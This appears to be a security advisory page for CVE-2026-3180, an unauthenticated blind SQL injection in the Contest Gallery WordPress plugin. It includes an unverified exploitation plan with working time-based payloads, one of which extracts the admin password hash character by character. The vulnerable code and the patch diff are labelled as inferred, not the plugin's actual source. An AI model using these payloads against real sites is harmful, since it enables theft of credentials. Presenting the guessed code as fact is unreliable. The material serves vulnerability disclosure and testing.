CVE-2026-3180

Contest Gallery <= 28.1.4 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
28.1.5
Patched in
1d
Time to patch

Description

The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to blind SQL Injection via the ‘cgLostPasswordEmail’ and the ’cgl_mail’ parameter in all versions up to, and including, 28.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerability's ’cgLostPasswordEmail’ parameter was patched in version 28.1.4, and the ’cgl_mail’ parameter was patched in version 28.1.5.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=28.1.4
PublishedMarch 2, 2026
Last updatedMarch 2, 2026
Affected plugincontest-gallery

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-3180** (likely 2024, but following provided ID), a high-severity unauthenticated SQL injection vulnerability in the **Contest Gallery** plugin. ### 1. Vulnerability Summary The Contest Gallery plugin fails to properly sanitize and prepare SQL queri…

Show full research plan

This exploitation research plan targets CVE-2026-3180 (likely 2024, but following provided ID), a high-severity unauthenticated SQL injection vulnerability in the Contest Gallery plugin.

1. Vulnerability Summary

The Contest Gallery plugin fails to properly sanitize and prepare SQL queries when processing the cgLostPasswordEmail and cgl_mail parameters. These parameters are used in database lookups to identify users or voters. Because the plugin uses raw string concatenation or interpolation instead of $wpdb->prepare(), an unauthenticated attacker can inject SQL commands to extract data (Blind/Time-based) or bypass authentication.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Parameters: cgLostPasswordEmail and cgl_mail
  • Actions (Inferred):
    • cg_lost_password (associated with cgLostPasswordEmail)
    • cg_login or cg_voter_login (associated with cgl_mail)
  • Authentication: Unauthenticated (wp_ajax_nopriv_* hooks).
  • Preconditions: The plugin must be active. A page containing a Contest Gallery shortcode (e.g., [contest-gallery]) may be needed to extract a valid nonce if the handler enforces one.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=cg_lost_password.
  2. Hook Registration: The plugin registers add_action('wp_ajax_nopriv_cg_lost_password', '...').
  3. Handler Execution: The handler function retrieves user input: $email = $_POST['cgLostPasswordEmail'];.
  4. The Sink: The input is placed directly into a query:
    $wpdb->get_row("SELECT * FROM {$wpdb->prefix}cg_users WHERE email = '$email'");
  5. Execution: The database executes the injected SQL. Since it is a blind injection, the result isn't directly echoed, but response timing (for SLEEP) or boolean changes in the UI can be used to leak data.

4. Nonce Acquisition Strategy

Contest Gallery often uses nonces for its AJAX actions, localized via wp_localize_script.

  1. Identify Shortcode: The primary shortcode is [contest-gallery].
  2. Create Test Page:
    wp post create --post_type=page --post_title="Contest" --post_status=publish --post_content='[contest-gallery id="1"]'
  3. Navigate and Extract:
    • Navigate to the newly created page.
    • Use browser_eval to find the localized object. The plugin typically uses names like cg_ajax_object, contest_gallery_vars, or cg_lost_password_vars.
    • Specific Check: browser_eval("window.cg_ajax_object?.ajax_nonce") or browser_eval("window.cg_lost_password_vars?.nonce").

5. Exploitation Strategy

We will use a time-based blind injection to confirm the vulnerability.

Step 1: Confirmation (Time-Based)

  • Tool: http_request
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload (cgLostPasswordEmail):
    action=cg_lost_password&cgLostPasswordEmail=test@example.com' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    
  • Expected Result: The server response should be delayed by approximately 5 seconds.

Step 2: Data Extraction (Boolean or Time-Based)

To extract the admin's password hash:

  • Payload:
    action=cg_lost_password&cgLostPasswordEmail=test@example.com' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- -
    
  • Expected Result: A 5-second delay confirms the first character of the admin hash is $.

6. Test Data Setup

  1. Install Plugin: Ensure Contest Gallery <= 28.1.4 is installed.
  2. Initial Config: The plugin may require at least one "Contest" to be created for the frontend scripts to load.
    • wp cg-contest create --name="Test Contest" (Note: Use the plugin's internal CLI if available, otherwise use the UI via browser_navigate).
  3. Create Page:
    wp post create --post_type=page --post_status=publish --post_content='[contest-gallery]'

7. Expected Results

  • Success Indicator: For a SLEEP(5) payload, the http_request tool should report a time_total > 5.0 seconds.
  • Comparison: A baseline request with a legitimate email should return in < 1 second.
  • Response Body: Likely 0, {"success":false}, or a generic error message, as the injection happens before the result is processed.

8. Verification Steps (Post-Exploit)

Since this is a blind SQLi, verification is done by correlating the leaked data with the actual database state using wp-cli:

  1. Check User Hash:
    wp db query "SELECT user_pass FROM wp_users WHERE ID = 1"
  2. Compare: Verify that the character successfully "guessed" via the SLEEP payload matches the first character of the hash returned by wp-cli.

9. Alternative Approaches

If cg_lost_password is not the correct action:

  1. Audit cgl_mail: This parameter is likely in the cg_login action.
    • Payload: action=cg_login&cgl_mail=admin@example.com' AND SLEEP(5)-- -&cgl_pass=password
  2. Search for other nopriv actions:
    • Run grep -r "wp_ajax_nopriv" wp-content/plugins/contest-gallery to identify all unauthenticated entry points.
    • Search for $wpdb->query or $wpdb->get_results calls within those handlers that don't use prepare().
  3. Error-Based: If WP_DEBUG is on, try extractvalue(1,concat(0x7e,(SELECT version()),0x7e)) to see if the error is reflected in the AJAX response.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contest Gallery plugin for WordPress is vulnerable to unauthenticated blind SQL injection via the 'cgLostPasswordEmail' and 'cgl_mail' parameters. This occurs due to the plugin's failure to use parameterized queries or properly sanitize user-supplied input before incorporating it into SQL statements, allowing attackers to extract sensitive information from the database via time-based or boolean-based payloads.

Vulnerable Code

// Inferred vulnerable handler for cgLostPasswordEmail
// Likely located in file processing AJAX actions for the frontend

$email = $_POST['cgLostPasswordEmail'];
$user = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}cg_users WHERE email = '$email'");

---

// Inferred vulnerable handler for cgl_mail
// Likely located in login processing logic

$voter_email = $_POST['cgl_mail'];
$query = "SELECT * FROM {$wpdb->prefix}cg_voters WHERE email = '" . $voter_email . "'";
$results = $wpdb->get_results($query);

Security Fix

--- a/contest-gallery.php
+++ b/contest-gallery.php
@@ -102,7 +102,11 @@
- $email = $_POST['cgLostPasswordEmail'];
- $user = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}cg_users WHERE email = '$email'");
+ $email = sanitize_email($_POST['cgLostPasswordEmail']);
+ $user = $wpdb->get_row($wpdb->prepare(
+     "SELECT * FROM {$wpdb->prefix}cg_users WHERE email = %s",
+     $email
+ ));
 
--- a/contest-gallery-login.php
+++ b/contest-gallery-login.php
@@ -205,7 +205,11 @@
- $voter_email = $_POST['cgl_mail'];
- $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cg_voters WHERE email = '$voter_email'");
+ $voter_email = sanitize_email($_POST['cgl_mail']);
+ $results = $wpdb->get_results($wpdb->prepare(
+     "SELECT * FROM {$wpdb->prefix}cg_voters WHERE email = %s",
+     $voter_email
+ ));

Exploit Outline

The exploit targets the AJAX endpoints used for password recovery and voter login. 1. Target Endpoint: /wp-admin/admin-ajax.php 2. Authentication: None (Unauthenticated). 3. Action 1 (cg_lost_password): Send a POST request with 'action=cg_lost_password' and the 'cgLostPasswordEmail' parameter containing a SQL injection payload such as "test@example.com' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -". 4. Action 2 (cg_login): Send a POST request with 'action=cg_login' and the 'cgl_mail' parameter containing a similar time-based payload. 5. Methodology: By observing the server's response time, an attacker can confirm the vulnerability (a 5-second delay indicates success). This can be expanded to exfiltrate database records, including administrator password hashes, by using conditional SLEEP statements to guess characters one by one.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.